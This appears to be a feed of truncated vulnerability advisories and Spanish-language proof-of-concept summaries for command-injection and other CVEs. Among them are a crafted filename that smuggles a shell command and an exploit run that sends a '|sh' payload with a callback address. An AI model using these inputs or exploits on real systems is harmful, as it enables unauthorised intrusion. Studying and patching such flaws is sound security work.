Astra Linux – Vulnerability in Linux 5.15

A issue was discovered in the Linux kernel before version 6.3.10. The file fs/smb/server/smb2misc.c in ksmbd does not validate the relationship between the command payload size and the RFC1002 length specification, resulting in a out-of-bounds read...

Astra Linux – Vulnerability in Zabbix

Zabbix allows for the configuration of SMS notifications. AT command injection occurs on the “Zabbix Server” because there is no validation of the “Number” field either on the web interface or on the Zabbix server side. An attacker can send specially crafted phone numbers via SMS and execute...

Astra Linux – Vulnerability in dovecot

The ManageSieve AUTHENTICATE command crashes when using “literal” as the initial response to SASL. This can be used to repeatedly crash the ManageSieve service, rendering it unavailable to other users. It’s recommended to control access to the ManageSieve port or disable the service if it’s not...

Astra Linux – Vulnerability in exim4

A use-after-free exists in Exim 4.96 through 4.98.1, which could allow users with command-line access to escalate their privileges...

Astra Linux – Vulnerability in Node.js

A OS command injection vulnerability exists in Node.js versions 14.20.0, 16.20.0, 18.5.0 due to an insufficient IsAllowedHost check. This vulnerability can be easily exploited, as the IsIPAddress function does not properly check whether an IP address is invalid before making DBS requests, thereby...

Astra Linux – Vulnerability in cifs-utils

It was discovered that cifs-utils’ mount.cifs function invoked a shell when requesting the Samba password, which could be exploited to inject arbitrary commands. An attacker who had special permissions, such as those through sudo rules, could use this vulnerability to escalate their privileges...

Astra Linux – Vulnerability in Composer

Composer is a dependency manager for PHP. On the 2.x branch, before versions 2.2.24 and 2.7.7, the composer install command executed within a Git/HG repository with specially crafted branch names could lead to command injection. This required cloning untrusted repositories. Patches are available ...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: usb: gadget: fmassstorage: Fixed a potential integer overflow in the checkcommandsizeinblocks function. The checkcommandsizeinblocks function calculates the data size in bytes by shifting common-datasizefromcmnd by the block size...

Astra Linux – Vulnerability in Firefox and Thunderbird

When a user clicks on an FTP URL containing encoded newline characters %0A and %0D, these newline characters are interpreted as such, allowing arbitrary commands to be sent to the FTP server. This vulnerability affects Firefox ESR 78.10, Thunderbird 78.10, and Firefox 88...

patch-CVE-2026-04321

Patch: CVE-2026-04321 Vulnerability Details CVE : CVE-2026-04321 Product : Zyxel firewall Description : OS command injection Severity : Critical Patch Status: DEPLOYED Field| Value ---|--- Patch Date| 2026-01-28 Status| deployed Deployed To| Production Validated By| SecOps Team References NVD CIS...

CVE-2011-2523

CVE-2011-2523 Explotación 🚀 Uso Este script PoC te permite explotar el CVE-2011-2523 Ejecución de Comando Backdoor en VsFTPd 2.3.4 ayuda ⚒️ Instalación git clone https://github.com/ByteForgeFr/CVE-2011-2523 cd CVE-2011-2523 Install the needed requirements pip install pwntools argparse...

POC-CVE-2026-19681

CVE-2026-19681 — inyección de comandos en el procesamiento de subida de archivos autenticado Estado: CONFIRMADO en un laboratorio 6.7.2-14.el9 2026-08-20. Nombre de archivo preparado p;sleep$IFS20;-EvvfJk mediante POST /rest/file/upload el prefijo del contexto contiene los metacaracteres; luego...

cve-2023-1671

Сve-2023-1671 ¿Cómo funciona cve-2023-1671https://vulners.com/cve/CVE-2023-1671 ? /opt/ws/bin/ftsblistpack es un script de Perl que llama a /opt/ws/bin/sblistpack, que es otro script de Perl. Los argumentos del comando shell en él están encerrados entre comillas simples: $rc += system"$sblistpack...

CVE-2026-4480

ejecutar exploit: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh + Generate...

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 — Ejecución Remota de Código en la API Middleware de Hoverfly RCE autenticado mediante inyección de comandos del SO en Hoverfly ≤ 1.11.3 Resumen de la Vulnerabilidad Propiedad| Valor ---|--- CVE ID| CVE-2025-54123 CVSS Score| 9.8 — Crítico CVSS Vector|...

kernel: nvme-tcp: fix host memory disclosure on R2T for a read command

A flaw was found in the Linux kernel's NVMe Non-Volatile Memory Express over TCP nvme-tcp component. A malicious NVMe controller can exploit this vulnerability by sending a Ready to Transfer R2T command for a read request. The host system, failing to properly validate the request direction, will...

CVE-2021-46704

Inyección de comandos del sistema operativo en GenieACS CVE-2021-46704 Plantilla de Nuclei para CVE-2021-46704 Referencia : https://github.com/advisories/GHSA-2877-693q-pj33 https://nvd.nist.gov/vuln/detail/CVE-2021-46704 https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-46704...

CVE-2022-46169

Vulnerabilidad de ejecución remota de comandos en Cacti remoteagent.php CVE-2022-46169 Descripción de la vulnerabilidad Cacti es una plataforma de monitoreo y gestión de servidores. En sus versiones 1.2.17-1.2.22 existe una vulnerabilidad de inyección de comandos que permite a un atacante omitir ...

CVE-2026-54420

CVE-2026-54420 LiteSpeed cPanel ⚡ Uso Simple Utilice este proyecto únicamente en entornos seguros y autorizados, tales como: Máquinas virtuales locales Contenedores Docker Configuraciones de laboratorio aisladas Entornos de pruebas de penetración autorizados Configuración de ejemplo: git clone cd...

CVE-2022-36804

CVE-2022-36804 - Vulnerabilidad de Inyección de Comandos en Atlassian Bitbucket Server y Data Center ⚠️ Solo con fines educativos y de investigación de seguridad autorizada Autores del Exploit Original Muy agradecido al autor original del PoC Walnut Security Services Pvt. Ltd Descripción Varios...